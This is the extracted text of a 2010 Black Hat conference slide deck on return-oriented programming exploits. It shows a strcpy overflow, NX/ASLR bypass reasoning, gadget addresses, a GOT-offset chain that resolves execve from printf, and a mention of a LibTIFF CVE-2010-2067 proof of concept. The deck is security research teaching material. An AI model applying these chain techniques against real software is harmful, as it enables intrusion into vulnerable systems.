BHUS10 Slides Payload Already Inside Data Reuse For ROP Exploits v1
BHUS10 Slides Payload Already Inside Data Reuse For ROP Exploits v1
Long Le
[email protected]
#include <string.h>
#include <stdio.h>
// vulnerable code
strcpy (buf, argv[1]);
Stack growth
● Attacker controlled
► Execution flow: EIP
► Stack: ESP
ASCII-Armor No PIE NX
$ cat /proc/self/maps
00a97000-00c1d000 r-xp 00000000 fd:00 91231 /lib/libc-2.12.so
00c1d000-00c1f000 r--p 00185000 fd:00 91231 /lib/libc-2.12.so
00c1f000-00c20000 rw-p 00187000 fd:00 91231 /lib/libc-2.12.so
00c20000-00c23000 rw-p 00000000 00:00 0
ASLR
Stack growth
Saved EIP
● Traditional in 1990s
► Everything is static
► Can perform arbitrary computation
● Does not work with NX
● Difficult with ASLR
Stack growth
Saved EIP
● Bypass NX
● Difficult with ASLR/ASCII-Armor
► Libc function’s addresses
► Location of arguments on stack
► NULL byte
Hard to make chained ret-to-libc calls
Mitigation Exploitability
NX Easy
ASLR Feasible
NX + ASCII-Armor Feasible*
NX + ASLR Depends*
leave; ret
0x8049820 Next stack frame
pop ebp; ret
0x8049810
strcpy@PLT
gdb$ x/i 0x80483c8
0x80483c8 <strcpy@plt>: jmp DWORD PTR ds:0x80497ec
pop-pop-ret:
0x80484b3 <__do_global_dtors_aux+83>: pop ebx
0x80484b4 <__do_global_dtors_aux+84>: pop ebp
0x80484b5 <__do_global_dtors_aux+85>: ret
● The bad:
► Addresses are randomized (ASLR)
● The good:
► Offset between two functions is a constant
♦ addr(system) – addr(printf) = offset
► We can calculate any address from a known
address in GOT (Global Offset Table)
► ROP gadgets are available
Stack growth
...
0x80483d8 0x80483d8: printf@PLT
0xbabeface 0x80484ae: add [ebp+0x5b042464] ecx;
0x80484ae pop ebp; ret
0x80497ec
0xad007388 printf@GOT - 0x5b042464 = 0xad007388
0x80484b4 0x80484b4: pop ebp; ret
0xbaadcafe
0x54120 execve() - printf() = 0x54120
● ROP loader
● ROP Exploit
►LibTIFF 3.92 buffer overflow (CVE-2010-2067)
♦ Dan Rosenberg's “Breaking LibTIFF”
► PoC exploit for “tiffinfo”
♦ No strcpy() in binary
♦ strcasecmp() => strcpy()
► Distros
♦ Fedora 13 with ExecShield
Q&A